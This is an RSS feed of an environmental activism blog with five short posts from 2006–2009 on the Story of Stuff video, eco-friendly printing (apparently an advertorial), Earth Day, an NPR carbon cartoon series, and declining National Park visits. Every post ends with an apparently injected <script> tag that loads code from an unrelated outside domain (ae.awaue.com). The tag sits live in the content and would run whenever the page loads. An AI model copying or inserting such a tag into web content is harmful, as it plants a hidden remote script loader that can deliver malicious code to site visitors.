<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>D.C. Watch &#187; Internet</title>
	<atom:link href="http://blog.getm.org/category/internet/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.getm.org</link>
	<description>The Official GETM.org Blog</description>
	<lastBuildDate>Tue, 08 Dec 2009 02:11:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Story of Stuff</title>
		<link>http://blog.getm.org/2009/12/07/story-of-stuff/</link>
		<comments>http://blog.getm.org/2009/12/07/story-of-stuff/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 02:11:43 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Comic]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Movie]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=124</guid>
		<description><![CDATA[Here’s an interesting story of stuff title &#8220;Story of Stuff&#8221; Per the site, the Story of Stuff video is a &#8220;20-minute, fast-paced, fact-filled look at the underside of our production and consumption patterns.&#8221; Good watch and no doubt sheds light on some of our own idiosyncrasies that has become the norm.]]></description>
			<content:encoded><![CDATA[<p>Here’s an interesting story of stuff title &#8220;<a target="_blank" href="http://www.storyofstuff.com/">Story of Stuff</a>&#8221; </p>
<p>Per the site, the Story of Stuff video is a &#8220;20-minute, fast-paced, fact-filled look at the underside of our production and consumption patterns.&#8221;</p>
<p>Good watch and no doubt sheds light on some of our own idiosyncrasies that has become the norm.<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2009/12/07/story-of-stuff/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eco Friendly Printing</title>
		<link>http://blog.getm.org/2008/09/17/eco-friendly-printing/</link>
		<comments>http://blog.getm.org/2008/09/17/eco-friendly-printing/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 02:02:49 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Environment]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=118</guid>
		<description><![CDATA[Do you want an environmental friendly way to print online? PsPrint.com is your one-stop solution for online printing, custom graphic design, direct mailing list creation, and a lot more. Order your color brochures, poster printing, business cards from a huge variety of quality design templates and get instant shipping. Jazz up your catalogs, envelopes, covers, [...]]]></description>
			<content:encoded><![CDATA[<p>Do you want an environmental friendly way to print online? PsPrint.com is your one-stop solution for <a href="http://www.psprint.com" target="_blank">online printing</a>, custom graphic design, direct mailing list creation, and a lot more. Order your color brochures, poster printing, business cards from a huge variety of quality design templates and get instant shipping. Jazz up your catalogs, envelopes, covers, ads, flyers, letterheads, newsletters, postcards, data sheets, presentation folders, stickers, vinyl banners and all your other stationary products with consistent high quality prinking ink. You can get your prints designed along with a logo, and an added silver or gold line for making it visually attractive. The pricing is competitive, and the products are eco friendly.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2008/09/17/eco-friendly-printing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Happy Earth Day 2008</title>
		<link>http://blog.getm.org/2008/04/22/happy-earth-day-2008/</link>
		<comments>http://blog.getm.org/2008/04/22/happy-earth-day-2008/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 14:28:47 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=117</guid>
		<description><![CDATA[This year Yahoo! has a section dedicated for all things green. One fabulous idea that has been very significant in greening our cities is the Yahoo Groups recycle, itâ€™s not just the right way to getting rid of things that you no longer need, but also a great place to find things you do. Check [...]]]></description>
			<content:encoded><![CDATA[<p><img title="recycle, reuse, reduce" src="http://l.yimg.com/a/i/us/grn/ed/recycle.gif" alt="recycle, reuse, reduce" width="60" height="56" align="left" />This year Yahoo! has a section dedicated for all things green. One fabulous idea that has been very significant in greening our cities is the Yahoo Groups recycle, itâ€™s not just the right way to getting rid of things that you no longer need, but also a great place to find things you do. <a href="http://green.yahoo.com/earth-day" target="_blank">Check it out</a>. This years resolution, use less electricity, starting with turning the idiot box off.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2008/04/22/happy-earth-day-2008/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Global Warming: It&#8217;s All About Carbo</title>
		<link>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/</link>
		<comments>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 15:17:08 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Comic]]></category>
		<category><![CDATA[Ethanol]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[NPR]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[TV]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Tips/Tools]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=113</guid>
		<description><![CDATA[As part of the Climate Connection initiative by NPR and National Geographic, Robert Krulwich&#8217;s created a five-part cartoon series that&#8217;s a really cool way to teach your kids the science of global warming. The videos are not embeddable, so you will have to view them on NPR. I watched all five and I think it&#8217;ll [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://media.npr.org/programs/morning/features/2007/jul/carbon/scientist400.jpg" title="climate connection" alt="climate connection" align="left" height="203" width="200" />As part of the Climate Connection initiative by NPR and National Geographic, Robert Krulwich&#8217;s created a five-part cartoon series that&#8217;s a really cool way to teach your kids the science of global warming.  The videos are not embeddable, so you will have to view them on <a href="http://www.npr.org/news/specials/climate/video/" target="_blank" rel="nofollow">NPR</a>. I watched all five and I think it&#8217;ll help more than just the kids learn a thing or two about carbon!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Video Games or National Parks?</title>
		<link>http://blog.getm.org/2006/07/20/video-games-or-national-parks/</link>
		<comments>http://blog.getm.org/2006/07/20/video-games-or-national-parks/#comments</comments>
		<pubDate>Thu, 20 Jul 2006 21:35:16 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Parks]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Urban]]></category>
		<category><![CDATA[Video Games]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=82</guid>
		<description><![CDATA[I heard it in the news yesterday, according to a recent study by University of Illinois at Chicage, the number of visitors to National Parks have sharply decreased. Apparently the trend went from something like 1.2 trips per person per year in 1987 to 0.9 in 2003, a drop of about 25 percent. One hypothesis [...]]]></description>
			<content:encoded><![CDATA[<p><img title="parks" style="width: 397px; height: 274px" height="274" alt="parks" src="http://images.art.com/images/products/large/10007000/10007262.jpg" width="397" align="middle" /></p>
<p>I heard it in the news yesterday, according to a recent study by University of Illinois at Chicage, the number of visitors to National Parks have sharply decreased. Apparently the trend went from something like 1.2 trips per person per year in 1987 to 0.9 in 2003, a drop of about 25 percent.</p>
<p>One hypothesis blames the rise in video games and Internet usage. Apparently, an average American spends an estimated 327 hours more per year with video games and Internet media now than in 1987. Although there is no conclusive evidence, the numbers are overwhelming to say the least. With that note, I switch my computer off.</p>
<p>Here the news on <a title="npr" href="http://www.npr.org/dmg/dmg.php?prgCode=ME&#038;showDate=19-Jul-2006&#038;segNum=13&#038;mediaPref=WM&#038;sauid=U909263551153427914929&#038;getUnderwriting=1&#038;mswmext=.asx" target="_blank">NPR</a>.</p>
<p><span id="more-82"></span></p>
<p>Â </p>
<p><a href="http://ads.adgenta.com/ads/ads.dll/click?client=headsetop&#038;GUID=07%2F20%2F06+17%3A43%3A53" target="_blank"><img style="margin: 4px; border: medium none" height="90" alt="Ads by AdGenta.com" src="http://ads.adgenta.com/ads/ads.dll/view?client=headsetop&#038;GUID=07%2F20%2F06+17%3A43%3A53&#038;width=300&#038;height=90&#038;bgColor=ffffff&#038;FOOTER_COLOR=ffffff&#038;FOOTER_GRADIENT=0&#038;TF_C=0000ff&#038;DF_C=000000&#038;DMF_C=0000ff&#038;FF_C=000000&#038;keywords=games" width="300" border="0" /></a></p>
<p><small>Tags: <a href="http://technorati.com/tag/Urban" rel="tag">Urban</a>, <a href="http://technorati.com/tag/News" rel="tag">News</a>, <a href="http://technorati.com/tag/Activism" rel="tag">Activism</a>, <a href="http://technorati.com/tag/Conserve" rel="tag">Conserve</a>, <a href="http://technorati.com/tag/Environment" rel="tag">Environment</a>, <a href="http://technorati.com/tag/Parks" rel="tag">Parks</a>, <a href="http://technorati.com/tag/Technology" rel="tag">Technology</a>, <a href="http://technorati.com/tag/Internet" rel="tag">Internet</a>, <a href="http://technorati.com/tag/Video+Games" rel="tag">Video Games</a></small><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/07/20/video-games-or-national-parks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
